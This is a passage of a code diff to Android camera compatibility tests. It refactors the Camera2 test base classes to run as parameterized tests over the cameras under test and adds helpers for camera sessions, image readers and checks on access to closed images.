+                    mAllStaticInfo.put(physicalId, staticMetadata);
+                }
+            }
+        }
+        mAllCameraIds = new String[mCameraIdsUnderTest.length + hiddenPhysicalIds.size()];
+        System.arraycopy(mCameraIdsUnderTest, 0, mAllCameraIds, 0, mCameraIdsUnderTest.length);
+        for (int i = 0; i < hiddenPhysicalIds.size(); i++) {
+            mAllCameraIds[mCameraIdsUnderTest.length + i] = hiddenPhysicalIds.get(i);
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        String[] cameraIdsPostTest =
+                mCameraManager.getCameraIdListNoLazy();
+        assertNotNull("Camera ids shouldn't be null", cameraIdsPostTest);
+        Log.i(TAG, "Camera ids in setup:" + Arrays.toString(mCameraIdsUnderTest));
+        Log.i(TAG, "Camera ids in tearDown:" + Arrays.toString(cameraIdsPostTest));
+        assertTrue(
+                "Number of cameras changed from " + mCameraIdsUnderTest.length + " to " +
+                cameraIdsPostTest.length,
+                mCameraIdsUnderTest.length == cameraIdsPostTest.length);
+        mHandlerThread.quitSafely();
+        mHandler = null;
+        closeDefaultImageReader();
+
+        try {
+            mCollector.verify();
+        } catch (Throwable e) {
+            // When new Exception(e) is used, exception info will be printed twice.
+            throw new Exception(e.getMessage());
+        } finally {
+            super.tearDown();
+        }
+    }
+
+    /**
+     * Start capture with given {@link #CaptureRequest}.
+     *
+     * @param request The {@link #CaptureRequest} to be captured.
+     * @param repeating If the capture is single capture or repeating.
+     * @param listener The {@link #CaptureCallback} camera device used to notify callbacks.
+     * @param handler The handler camera device used to post callbacks.
+     */
+    protected void startCapture(CaptureRequest request, boolean repeating,
+            CaptureCallback listener, Handler handler) throws Exception {
+        if (VERBOSE) Log.v(TAG, "Starting capture from device");
+
+        if (repeating) {
+            mCameraSession.setRepeatingRequest(request, listener, handler);
+        } else {
+            mCameraSession.capture(request, listener, handler);
+        }
+    }
+
+    /**
+     * Stop the current active capture.
+     *
+     * @param fast When it is true, {@link CameraDevice#flush} is called, the stop capture
+     * could be faster.
+     */
+    protected void stopCapture(boolean fast) throws Exception {
+        if (VERBOSE) Log.v(TAG, "Stopping capture");
+
+        if (fast) {
+            /**
+             * Flush is useful for canceling long exposure single capture, it also could help
+             * to make the streaming capture stop sooner.
+             */
+            mCameraSession.abortCaptures();
+            mCameraSessionListener.getStateWaiter().
+                    waitForState(BlockingSessionCallback.SESSION_READY, CAMERA_IDLE_TIMEOUT_MS);
+        } else {
+            mCameraSession.close();
+            mCameraSessionListener.getStateWaiter().
+                    waitForState(BlockingSessionCallback.SESSION_CLOSED, CAMERA_IDLE_TIMEOUT_MS);
+        }
+    }
+
+    /**
+     * Open a {@link #CameraDevice camera device} and get the StaticMetadata for a given camera id.
+     * The default mCameraListener is used to wait for states.
+     *
+     * @param cameraId The id of the camera device to be opened.
+     */
+    protected void openDevice(String cameraId) throws Exception {
+        openDevice(cameraId, mCameraListener);
+    }
+
+    /**
+     * Open a {@link #CameraDevice} and get the StaticMetadata for a given camera id and listener.
+     *
+     * @param cameraId The id of the camera device to be opened.
+     * @param listener The {@link #BlockingStateCallback} used to wait for states.
+     */
+    protected void openDevice(String cameraId, BlockingStateCallback listener) throws Exception {
+        mCamera = CameraTestUtils.openCamera(
+                mCameraManager, cameraId, listener, mHandler);
+        mCollector.setCameraId(cameraId);
+        mStaticInfo = mAllStaticInfo.get(cameraId);
+        if (mStaticInfo.isColorOutputSupported()) {
+            mOrderedPreviewSizes = getSupportedPreviewSizes(
+                    cameraId, mCameraManager,
+                    getPreviewSizeBound(mWindowManager, PREVIEW_SIZE_BOUND));
+            mOrderedVideoSizes = getSupportedVideoSizes(cameraId, mCameraManager, PREVIEW_SIZE_BOUND);
+            mOrderedStillSizes = getSupportedStillSizes(cameraId, mCameraManager, null);
+        }
+
+        if (VERBOSE) {
+            Log.v(TAG, "Camera " + cameraId + " is opened");
+        }
+    }
+
+    /**
+     * Create a {@link #CameraCaptureSession} using the currently open camera.
+     *
+     * @param outputSurfaces The set of output surfaces to configure for this session
+     */
+    protected void createSession(List<Surface> outputSurfaces) throws Exception {
+        mCameraSessionListener = new BlockingSessionCallback();
+        mCameraSession = CameraTestUtils.configureCameraSession(mCamera, outputSurfaces,
+                mCameraSessionListener, mHandler);
+    }
+
+    /**
+     * Create a {@link #CameraCaptureSession} using the currently open camera with
+     * OutputConfigurations.
+     *
+     * @param outputSurfaces The set of output surfaces to configure for this session
+     */
+    protected void createSessionByConfigs(List<OutputConfiguration> outputConfigs) throws Exception {
+        mCameraSessionListener = new BlockingSessionCallback();
+        mCameraSession = CameraTestUtils.configureCameraSessionWithConfig(mCamera, outputConfigs,
+                mCameraSessionListener, mHandler);
+    }
+
+    /**
+     * Close a {@link #CameraDevice camera device} and clear the associated StaticInfo field for a
+     * given camera id. The default mCameraListener is used to wait for states.
+     * <p>
+     * This function must be used along with the {@link #openDevice} for the
+     * same camera id.
+     * </p>
+     *
+     * @param cameraId The id of the {@link #CameraDevice camera device} to be closed.
+     */
+    protected void closeDevice(String cameraId) {
+        closeDevice(cameraId, mCameraListener);
+    }
+
+    /**
+     * Close a {@link #CameraDevice camera device} and clear the associated StaticInfo field for a
+     * given camera id and listener.
+     * <p>
+     * This function must be used along with the {@link #openDevice} for the
+     * same camera id.
+     * </p>
+     *
+     * @param cameraId The id of the camera device to be closed.
+     * @param listener The BlockingStateCallback used to wait for states.
+     */
+    protected void closeDevice(String cameraId, BlockingStateCallback listener) {
+        if (mCamera != null) {
+            if (!cameraId.equals(mCamera.getId())) {
+                throw new IllegalStateException("Try to close a device that is not opened yet");
+            }
+            mCamera.close();
+            listener.waitForState(STATE_CLOSED, CAMERA_CLOSE_TIMEOUT_MS);
+            mCamera = null;
+            mCameraSession = null;
+            mCameraSessionListener = null;
+            mStaticInfo = null;
+            mOrderedPreviewSizes = null;
+            mOrderedVideoSizes = null;
+            mOrderedStillSizes = null;
+
+            if (VERBOSE) {
+                Log.v(TAG, "Camera " + cameraId + " is closed");
+            }
+        }
+    }
+
+    /**
+     * Create an {@link ImageReader} object and get the surface.
+     * <p>
+     * This function creates {@link ImageReader} object and surface, then assign
+     * to the default {@link mReader} and {@link mReaderSurface}. It closes the
+     * current default active {@link ImageReader} if it exists.
+     * </p>
+     *
+     * @param size The size of this ImageReader to be created.
+     * @param format The format of this ImageReader to be created
+     * @param maxNumImages The max number of images that can be acquired
+     *            simultaneously.
+     * @param listener The listener used by this ImageReader to notify
+     *            callbacks.
+     */
+    protected void createDefaultImageReader(Size size, int format, int maxNumImages,
+            ImageReader.OnImageAvailableListener listener) throws Exception {
+        closeDefaultImageReader();
+
+        mReader = createImageReader(size, format, maxNumImages, listener);
+        mReaderSurface = mReader.getSurface();
+        if (VERBOSE) Log.v(TAG, "Created ImageReader size " + size.toString());
+    }
+
+    /**
+     * Create an {@link ImageReader} object and get the surface.
+     * <p>
+     * This function creates {@link ImageReader} object and surface, then assign
+     * to the default {@link mReader} and {@link mReaderSurface}. It closes the
+     * current default active {@link ImageReader} if it exists.
+     * </p>
+     *
+     * @param size The size of this ImageReader to be created.
+     * @param format The format of this ImageReader to be created
+     * @param maxNumImages The max number of images that can be acquired
+     *            simultaneously.
+     * @param usage The usage flag of the ImageReader
+     * @param listener The listener used by this ImageReader to notify
+     *            callbacks.
+     */
+    protected void createDefaultImageReader(Size size, int format, int maxNumImages, long usage,
+            ImageReader.OnImageAvailableListener listener) throws Exception {
+        closeDefaultImageReader();
+
+        mReader = createImageReader(size, format, maxNumImages, usage, listener);
+        mReaderSurface = mReader.getSurface();
+        if (VERBOSE) Log.v(TAG, "Created ImageReader size " + size.toString());
+    }
+
+    /**
+     * Create an {@link ImageReader} object.
+     *
+     * <p>This function creates image reader object for given format, maxImages, and size.</p>
+     *
+     * @param size The size of this ImageReader to be created.
+     * @param format The format of this ImageReader to be created
+     * @param maxNumImages The max number of images that can be acquired simultaneously.
+     * @param listener The listener used by this ImageReader to notify callbacks.
+     */
+
+    protected ImageReader createImageReader(Size size, int format, int maxNumImages,
+            ImageReader.OnImageAvailableListener listener) throws Exception {
+
+        ImageReader reader = null;
+        reader = ImageReader.newInstance(size.getWidth(), size.getHeight(),
+                format, maxNumImages);
+
+        reader.setOnImageAvailableListener(listener, mHandler);
+        if (VERBOSE) Log.v(TAG, "Created ImageReader size " + size.toString());
+        return reader;
+    }
+
+    /**
+     * Create an {@link ImageReader} object.
+     *
+     * <p>This function creates image reader object for given format, maxImages, usage and size.</p>
+     *
+     * @param size The size of this ImageReader to be created.
+     * @param format The format of this ImageReader to be created
+     * @param maxNumImages The max number of images that can be acquired simultaneously.
+     * @param usage The usage flag of the ImageReader
+     * @param listener The listener used by this ImageReader to notify callbacks.
+     */
+
+    protected ImageReader createImageReader(Size size, int format, int maxNumImages, long usage,
+            ImageReader.OnImageAvailableListener listener) throws Exception {
+        ImageReader reader = null;
+        reader = ImageReader.newInstance(size.getWidth(), size.getHeight(),
+                format, maxNumImages, usage);
+
+        reader.setOnImageAvailableListener(listener, mHandler);
+        if (VERBOSE) Log.v(TAG, "Created ImageReader size " + size.toString());
+        return reader;
+    }
+
+    /**
+     * Close the pending images then close current default {@link ImageReader} object.
+     */
+    protected void closeDefaultImageReader() {
+        closeImageReader(mReader);
+        mReader = null;
+        mReaderSurface = null;
+    }
+
+    /**
+     * Close an image reader instance.
+     *
+     * @param reader
+     */
+    protected void closeImageReader(ImageReader reader) {
+        if (reader != null) {
+            try {
+                // Close all possible pending images first.
+                Image image = reader.acquireLatestImage();
+                if (image != null) {
+                    image.close();
+                }
+            } finally {
+                reader.close();
+                reader = null;
+            }
+        }
+    }
+
+    protected void checkImageReaderSessionConfiguration(String msg) throws Exception {
+        List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
+        outputConfigs.add(new OutputConfiguration(mReaderSurface));
+
+        checkSessionConfigurationSupported(mCamera, mHandler, outputConfigs, /*inputConfig*/ null,
+                SessionConfiguration.SESSION_REGULAR, /*expectedResult*/ true, msg);
+    }
+
+    protected CaptureRequest prepareCaptureRequest() throws Exception {
+        return prepareCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+    }
+
+    protected CaptureRequest prepareCaptureRequest(int template) throws Exception {
+        List<Surface> outputSurfaces = new ArrayList<Surface>();
+        Surface surface = mReader.getSurface();
+        assertNotNull("Fail to get surface from ImageReader", surface);
+        outputSurfaces.add(surface);
+        return prepareCaptureRequestForSurfaces(outputSurfaces, template)
+                .build();
+    }
+
+    protected CaptureRequest.Builder prepareCaptureRequestForSurfaces(List<Surface> surfaces,
+            int template)
+            throws Exception {
+        createSession(surfaces);
+
+        CaptureRequest.Builder captureBuilder =
+                mCamera.createCaptureRequest(template);
+        assertNotNull("Fail to get captureRequest", captureBuilder);
+        for (Surface surface : surfaces) {
+            captureBuilder.addTarget(surface);
+        }
+
+        return captureBuilder;
+    }
+
+    protected CaptureRequest.Builder prepareCaptureRequestForConfigs(
+            List<OutputConfiguration> outputConfigs, int template) throws Exception {
+        createSessionByConfigs(outputConfigs);
+
+        CaptureRequest.Builder captureBuilder =
+                mCamera.createCaptureRequest(template);
+        assertNotNull("Fail to get captureRequest", captureBuilder);
+        for (OutputConfiguration config : outputConfigs) {
+            for (Surface s : config.getSurfaces()) {
+                captureBuilder.addTarget(s);
+            }
+        }
+
+        return captureBuilder;
+    }
+
+    /**
+     * Test the invalid Image access: accessing a closed image must result in
+     * {@link IllegalStateException}.
+     *
+     * @param closedImage The closed image.
+     * @param closedBuffer The ByteBuffer from a closed Image. buffer invalid
+     *            access will be skipped if it is null.
+     */
+    protected void imageInvalidAccessTestAfterClose(Image closedImage,
+            Plane closedPlane, ByteBuffer closedBuffer) {
+        if (closedImage == null) {
+            throw new IllegalArgumentException(" closedImage must be non-null");
+        }
+        if (closedBuffer != null && !closedBuffer.isDirect()) {
+            throw new IllegalArgumentException("The input ByteBuffer should be direct ByteBuffer");
+        }
+
+        if (closedPlane != null) {
+            // Plane#getBuffer test
+            try {
+                closedPlane.getBuffer(); // An ISE should be thrown here.
+                fail("Image should throw IllegalStateException when calling getBuffer"
+                        + " after the image is closed");
+            } catch (IllegalStateException e) {
+                // Expected.
+            }
+
+            // Plane#getPixelStride test
+            try {
+                closedPlane.getPixelStride(); // An ISE should be thrown here.
+                fail("Image should throw IllegalStateException when calling getPixelStride"
+                        + " after the image is closed");
+            } catch (IllegalStateException e) {
+                // Expected.
+            }
+
+            // Plane#getRowStride test
+            try {
+                closedPlane.getRowStride(); // An ISE should be thrown here.
+                fail("Image should throw IllegalStateException when calling getRowStride"
+                        + " after the image is closed");
+            } catch (IllegalStateException e) {
+                // Expected.
+            }
+        }
+
+        // ByteBuffer access test
+        if (closedBuffer != null) {
+            try {
+                closedBuffer.get(); // An ISE should be thrown here.
+                fail("Image should throw IllegalStateException when accessing a byte buffer"
+                        + " after the image is closed");
+            } catch (IllegalStateException e) {
+                // Expected.
+            }
+        }
+
+        // Image#getFormat test
+        try {
+            closedImage.getFormat();
+            fail("Image should throw IllegalStateException when calling getFormat"
+                    + " after the image is closed");
+        } catch (IllegalStateException e) {
+            // Expected.
+        }
+
+        // Image#getWidth test
+        try {
+            closedImage.getWidth();
+            fail("Image should throw IllegalStateException when calling getWidth"
+                    + " after the image is closed");
+        } catch (IllegalStateException e) {
+            // Expected.
+        }
+
+        // Image#getHeight test
+        try {
+            closedImage.getHeight();
+            fail("Image should throw IllegalStateException when calling getHeight"
+                    + " after the image is closed");
+        } catch (IllegalStateException e) {
+            // Expected.
+        }
+
+        // Image#getTimestamp test
+        try {
+            closedImage.getTimestamp();
+            fail("Image should throw IllegalStateException when calling getTimestamp"
+                    + " after the image is closed");
+        } catch (IllegalStateException e) {
+            // Expected.
+        }
+
+        // Image#getTimestamp test
+        try {
+            closedImage.getTimestamp();
+            fail("Image should throw IllegalStateException when calling getTimestamp"
+                    + " after the image is closed");
+        } catch (IllegalStateException e) {
+            // Expected.
+        }
+
+        // Image#getCropRect test
+        try {
+            closedImage.getCropRect();
+            fail("Image should throw IllegalStateException when calling getCropRect"
+                    + " after the image is closed");
+        } catch (IllegalStateException e) {
+            // Expected.
+        }
+
+        // Image#setCropRect test
+        try {
+            Rect rect = new Rect();
+            closedImage.setCropRect(rect);
+            fail("Image should throw IllegalStateException when calling setCropRect"
+                    + " after the image is closed");
+        } catch (IllegalStateException e) {
+            // Expected.
+        }
+
+        // Image#getPlanes test
+        try {
+            closedImage.getPlanes();
+            fail("Image should throw IllegalStateException when calling getPlanes"
+                    + " after the image is closed");
+        } catch (IllegalStateException e) {
+            // Expected.
+        }
+    }
+}
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java
index 4cd0046..e4695e9 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java
@@ -22,6 +22,7 @@
 import android.content.Context;
 import android.graphics.ImageFormat;
 import android.graphics.Rect;
+import android.hardware.cts.helpers.CameraParameterizedTestCase;
 import android.hardware.camera2.CameraCaptureSession;
 import android.hardware.camera2.CameraCaptureSession.CaptureCallback;
 import android.hardware.camera2.CameraCharacteristics;
@@ -31,6 +32,7 @@
 import android.hardware.camera2.params.OutputConfiguration;
 import android.hardware.camera2.params.SessionConfiguration;
 import android.util.Size;
+import android.hardware.camera2.cts.Camera2ParameterizedTestCase;
 import android.hardware.camera2.cts.CameraTestUtils;
 import android.hardware.camera2.cts.helpers.CameraErrorCollector;
 import android.hardware.camera2.cts.helpers.StaticMetadata;
@@ -44,6 +46,7 @@
 import android.util.Log;
 import android.view.Surface;
 import android.view.WindowManager;
+import androidx.test.InstrumentationRegistry;
 
 import com.android.ex.camera2.blocking.BlockingSessionCallback;
 import com.android.ex.camera2.blocking.BlockingStateCallback;
@@ -55,7 +58,11 @@
 import java.util.HashMap;
 import java.util.List;
 
-public class Camera2AndroidTestCase extends AndroidTestCase {
+import org.junit.Ignore;
+import org.junit.Test;
+
+// TODO: Can we de-duplicate this with Camera2AndroidBasicTestCase keeping in mind CtsVerifier ?
+public class Camera2AndroidTestCase extends Camera2ParameterizedTestCase {
     private static final String TAG = "Camera2AndroidTestCase";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
 
@@ -63,12 +70,10 @@
     protected static final Size DEFAULT_CAPTURE_SIZE = new Size(640, 480);
     protected static final int CAPTURE_WAIT_TIMEOUT_MS = 5000;
 
-    protected CameraManager mCameraManager;
     protected CameraDevice mCamera;
     protected CameraCaptureSession mCameraSession;
     protected BlockingSessionCallback mCameraSessionListener;
     protected BlockingStateCallback mCameraListener;
-    protected String[] mCameraIds;
     // include both standalone camera IDs and "hidden" physical camera IDs
     protected String[] mAllCameraIds;
     protected HashMap<String, StaticMetadata> mAllStaticInfo;
@@ -85,32 +90,15 @@
 
     protected WindowManager mWindowManager;
 
-    @Override
-    public void setContext(Context context) {
-        super.setContext(context);
-        mCameraManager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE);
-        assertNotNull("Can't connect to camera manager!", mCameraManager);
-        mWindowManager = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
-    }
-
     /**
      * Set up the camera2 test case required environments, including CameraManager,
      * HandlerThread, Camera IDs, and CameraStateCallback etc.
      */
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
+        mWindowManager = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
 
-        /**
-         * Workaround for mockito and JB-MR2 incompatibility
-         *
-         * Avoid java.lang.IllegalArgumentException: dexcache == null
-         * https://code.google.com/p/dexmaker/issues/detail?id=2
-         */
-        System.setProperty("dexmaker.dexcache", getContext().getCacheDir().toString());
-
-        mCameraIds = mCameraManager.getCameraIdList();
-        assertNotNull("Camera ids shouldn't be null", mCameraIds);
         mHandlerThread = new HandlerThread(TAG);
         mHandlerThread.start();
         mHandler = new Handler(mHandlerThread.getLooper());
@@ -125,14 +113,14 @@
 
         mAllStaticInfo = new HashMap<String, StaticMetadata>();
         List<String> hiddenPhysicalIds = new ArrayList<>();
-        for (String cameraId : mCameraIds) {
+        for (String cameraId : mCameraIdsUnderTest) {
             CameraCharacteristics props = mCameraManager.getCameraCharacteristics(cameraId);
             StaticMetadata staticMetadata = new StaticMetadata(props,
                     CheckLevel.ASSERT, /*collector*/null);
             mAllStaticInfo.put(cameraId, staticMetadata);
 
             for (String physicalId : props.getPhysicalCameraIds()) {
-                if (!Arrays.asList(mCameraIds).contains(physicalId) &&
+                if (!Arrays.asList(mCameraIdsUnderTest).contains(physicalId) &&
                         !hiddenPhysicalIds.contains(physicalId)) {
                     hiddenPhysicalIds.add(physicalId);
                     props = mCameraManager.getCameraCharacteristics(physicalId);
@@ -143,23 +131,15 @@
                 }
             }
         }
-        mAllCameraIds = new String[mCameraIds.length + hiddenPhysicalIds.size()];
-        System.arraycopy(mCameraIds, 0, mAllCameraIds, 0, mCameraIds.length);
+        mAllCameraIds = new String[mCameraIdsUnderTest.length + hiddenPhysicalIds.size()];
+        System.arraycopy(mCameraIdsUnderTest, 0, mAllCameraIds, 0, mCameraIdsUnderTest.length);
         for (int i = 0; i < hiddenPhysicalIds.size(); i++) {
-            mAllCameraIds[mCameraIds.length + i] = hiddenPhysicalIds.get(i);
+            mAllCameraIds[mCameraIdsUnderTest.length + i] = hiddenPhysicalIds.get(i);
         }
     }
 
     @Override
-    protected void tearDown() throws Exception {
-        String[] cameraIdsPostTest = mCameraManager.getCameraIdList();
-        assertNotNull("Camera ids shouldn't be null", cameraIdsPostTest);
-        Log.i(TAG, "Camera ids in setup:" + Arrays.toString(mCameraIds));
-        Log.i(TAG, "Camera ids in tearDown:" + Arrays.toString(cameraIdsPostTest));
-        assertTrue(
-                "Number of cameras changed from " + mCameraIds.length + " to " +
-                cameraIdsPostTest.length,
-                mCameraIds.length == cameraIdsPostTest.length);
+    public void tearDown() throws Exception {
         mHandlerThread.quitSafely();
         mHandler = null;
         closeDefaultImageReader();
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
index c345b41..090aa6c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
@@ -28,6 +28,8 @@
 import android.graphics.RectF;
 import android.graphics.SurfaceTexture;
 import android.hardware.camera2.CameraCaptureSession;
+import android.hardware.camera2.cts.Camera2ParameterizedTestCase;
+import android.hardware.camera2.cts.CameraTestUtils;
 import android.hardware.camera2.CameraCaptureSession.CaptureCallback;
 import android.hardware.camera2.CameraDevice;
 import android.hardware.camera2.CameraManager;
@@ -58,6 +60,7 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Rule;
 
 import java.util.Arrays;
@@ -67,7 +70,8 @@
 /**
  * Camera2 test case base class by using mixed SurfaceView and TextureView as rendering target.
  */
-public class Camera2MultiViewTestCase {
+
+public class Camera2MultiViewTestCase extends Camera2ParameterizedTestCase {
     private static final String TAG = "MultiViewTestCase";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
 
@@ -75,13 +79,10 @@
 
     protected TextureView[] mTextureView =
             new TextureView[Camera2MultiViewCtsActivity.MAX_TEXTURE_VIEWS];
-    protected String[] mCameraIds;
     protected Handler mHandler;
 
-    private CameraManager mCameraManager;
     private HandlerThread mHandlerThread;
     private Activity mActivity;
-    private Context mContext;
 
     private CameraHolder[] mCameraHolders;
     private HashMap<String, Integer> mCameraIdMap;
@@ -92,15 +93,10 @@
     public ActivityTestRule<Camera2MultiViewCtsActivity> mActivityRule =
             new ActivityTestRule<>(Camera2MultiViewCtsActivity.class);
 
-    @Before
+    @Override
     public void setUp() throws Exception {
+        super.setUp();
         mActivity = mActivityRule.getActivity();
-        mContext = mActivity.getApplicationContext();
-        assertNotNull("Unable to get activity", mContext);
-        mCameraManager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);
-        assertNotNull("Unable to get CameraManager", mCameraManager);
-        mCameraIds = mCameraManager.getCameraIdList();
-        assertNotNull("Unable to get camera ids", mCameraIds);
         mHandlerThread = new HandlerThread(TAG);
         mHandlerThread.start();
         mHandler = new Handler(mHandlerThread.getLooper());
@@ -110,25 +106,17 @@
         }
         assertNotNull("Unable to get texture view", mTextureView);
         mCameraIdMap = new HashMap<String, Integer>();
-        int numCameras = mCameraIds.length;
+        int numCameras = mCameraIdsUnderTest.length;
         mCameraHolders = new CameraHolder[numCameras];
         for (int i = 0; i < numCameras; i++) {
-            mCameraHolders[i] = new CameraHolder(mCameraIds[i]);
-            mCameraIdMap.put(mCameraIds[i], i);
+            mCameraHolders[i] = new CameraHolder(mCameraIdsUnderTest[i]);
+            mCameraIdMap.put(mCameraIdsUnderTest[i], i);
         }
         mWindowManager = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
     }
 
-    @After
+    @Override
     public void tearDown() throws Exception {
-        String[] cameraIdsPostTest = mCameraManager.getCameraIdList();
-        assertNotNull("Camera ids shouldn't be null", cameraIdsPostTest);
-        Log.i(TAG, "Camera ids in setup:" + Arrays.toString(mCameraIds));
-        Log.i(TAG, "Camera ids in tearDown:" + Arrays.toString(cameraIdsPostTest));
-        assertTrue(
-                "Number of cameras changed from " + mCameraIds.length + " to " +
-                cameraIdsPostTest.length,
-                mCameraIds.length == cameraIdsPostTest.length);
         mHandlerThread.quitSafely();
         mHandler = null;
         for (CameraHolder camera : mCameraHolders) {
@@ -137,6 +125,7 @@
                 camera = null;
             }
         }
+        super.tearDown();
     }
 
     /**
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
index 5a95d62..ecc87d6 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
@@ -19,6 +19,8 @@
 import static android.hardware.camera2.cts.CameraTestUtils.*;
 
 import static com.android.ex.camera2.blocking.BlockingStateCallback.STATE_CLOSED;
+import androidx.test.InstrumentationRegistry;
+import android.app.UiAutomation;
 
 import android.content.Context;
 import android.graphics.ImageFormat;
@@ -32,6 +34,7 @@
 import android.hardware.camera2.CaptureRequest;
 import android.hardware.camera2.CaptureResult;
 import android.hardware.camera2.cts.Camera2SurfaceViewCtsActivity;
+import android.hardware.camera2.cts.Camera2ParameterizedTestCase;
 import android.hardware.camera2.cts.CameraTestUtils;
 import android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
 import android.hardware.camera2.cts.helpers.CameraErrorCollector;
@@ -57,6 +60,7 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Rule;
 
 import java.io.File;
@@ -64,6 +68,12 @@
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.List;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
 
 /**
  * Camera2 Preview test case base class by using SurfaceView as rendering target.
@@ -75,7 +85,7 @@
  * </p>
  */
 
-public class Camera2SurfaceViewTestCase {
+public class Camera2SurfaceViewTestCase extends Camera2ParameterizedTestCase {
     private static final String TAG = "SurfaceViewTestCase";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
     private static final int WAIT_FOR_SURFACE_CHANGE_TIMEOUT_MS = 1000;
@@ -86,9 +96,6 @@
     protected static final int NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY = 8;
     protected static final int MIN_FRAME_DURATION_ERROR_MARGIN = 100; // ns
 
-    protected Context mContext;
-    protected CameraManager mCameraManager;
-    protected String[] mCameraIds;
     protected HandlerThread mHandlerThread;
     protected Handler mHandler;
     protected BlockingStateCallback mCameraListener;
@@ -119,18 +126,7 @@
 
     @Before
     public void setUp() throws Exception {
-        mContext = mActivityRule.getActivity().getApplicationContext();
-        /**
-         * Workaround for mockito and JB-MR2 incompatibility
-         *
-         * Avoid java.lang.IllegalArgumentException: dexcache == null
-         * https://code.google.com/p/dexmaker/issues/detail?id=2
-         */
-        System.setProperty("dexmaker.dexcache", mContext.getCacheDir().toString());
-        mCameraManager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);
-        assertNotNull("Unable to get CameraManager", mCameraManager);
-        mCameraIds = mCameraManager.getCameraIdList();
-        assertNotNull("Unable to get camera ids", mCameraIds);
+        super.setUp();
         mHandlerThread = new HandlerThread(TAG);
         mHandlerThread.start();
         mHandler = new Handler(mHandlerThread.getLooper());
@@ -145,14 +141,14 @@
 
         mAllStaticInfo = new HashMap<String, StaticMetadata>();
         List<String> hiddenPhysicalIds = new ArrayList<>();
-        for (String cameraId : mCameraIds) {
+        for (String cameraId : mCameraIdsUnderTest) {
             CameraCharacteristics props = mCameraManager.getCameraCharacteristics(cameraId);
             StaticMetadata staticMetadata = new StaticMetadata(props,
                     CheckLevel.ASSERT, /*collector*/null);
             mAllStaticInfo.put(cameraId, staticMetadata);
 
             for (String physicalId : props.getPhysicalCameraIds()) {
-                if (!Arrays.asList(mCameraIds).contains(physicalId) &&
+                if (!Arrays.asList(mCameraIdsUnderTest).contains(physicalId) &&
                         !hiddenPhysicalIds.contains(physicalId)) {
                     hiddenPhysicalIds.add(physicalId);
                     props = mCameraManager.getCameraCharacteristics(physicalId);
@@ -169,15 +165,6 @@
 
     @After
     public void tearDown() throws Exception {
-        String[] cameraIdsPostTest = mCameraManager.getCameraIdList();
-        assertNotNull("Camera ids shouldn't be null", cameraIdsPostTest);
-        Log.i(TAG, "Camera ids in setup:" + Arrays.toString(mCameraIds));
-        Log.i(TAG, "Camera ids in tearDown:" + Arrays.toString(cameraIdsPostTest));
-        assertTrue(
-                "Number of cameras changed from " + mCameraIds.length + " to " +
-                cameraIdsPostTest.length,
-                mCameraIds.length == cameraIdsPostTest.length);
-        // Teardown the camera preview required environments.
         mHandlerThread.quitSafely();
         mHandler = null;
         mCameraListener = null;
@@ -188,6 +175,7 @@
             // When new Exception(e) is used, exception info will be printed twice.
             throw new Exception(e.getMessage());
         }
+        super.tearDown();
     }
 
     /**
@@ -541,7 +529,7 @@
         List<Integer> expectedAeStates = new ArrayList<Integer>();
         expectedAeStates.add(new Integer(CaptureResult.CONTROL_AE_STATE_LOCKED));
         CameraTestUtils.waitForAnyResultValue(resultListener, CaptureResult.CONTROL_AE_STATE,
-                expectedAeStates, WAIT_FOR_RESULT_TIMEOUT_MS, NUM_RESULTS_WAIT_TIMEOUT);
+                expectedAeStates, NUM_RESULTS_WAIT_TIMEOUT, WAIT_FOR_RESULT_TIMEOUT_MS);
     }
 
     /**
diff --git a/tests/camera/src/android/hardware/cts/CameraTest.java b/tests/camera/src/android/hardware/cts/CameraTest.java
index b6fe28a..47ffca6 100644
--- a/tests/camera/src/android/hardware/cts/CameraTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraTest.java
@@ -3300,7 +3300,8 @@
         int nCameras = Camera.getNumberOfCameras();
         for (int id = 0; id < nCameras; id++) {
             Log.v(TAG, "Camera id=" + id);
-            testVideoSnapshotByCamera(id);
+            testVideoSnapshotByCamera(id, /*recordingHint*/false);
+            testVideoSnapshotByCamera(id, /*recordingHint*/true);
         }
     }
 
@@ -3316,7 +3317,7 @@
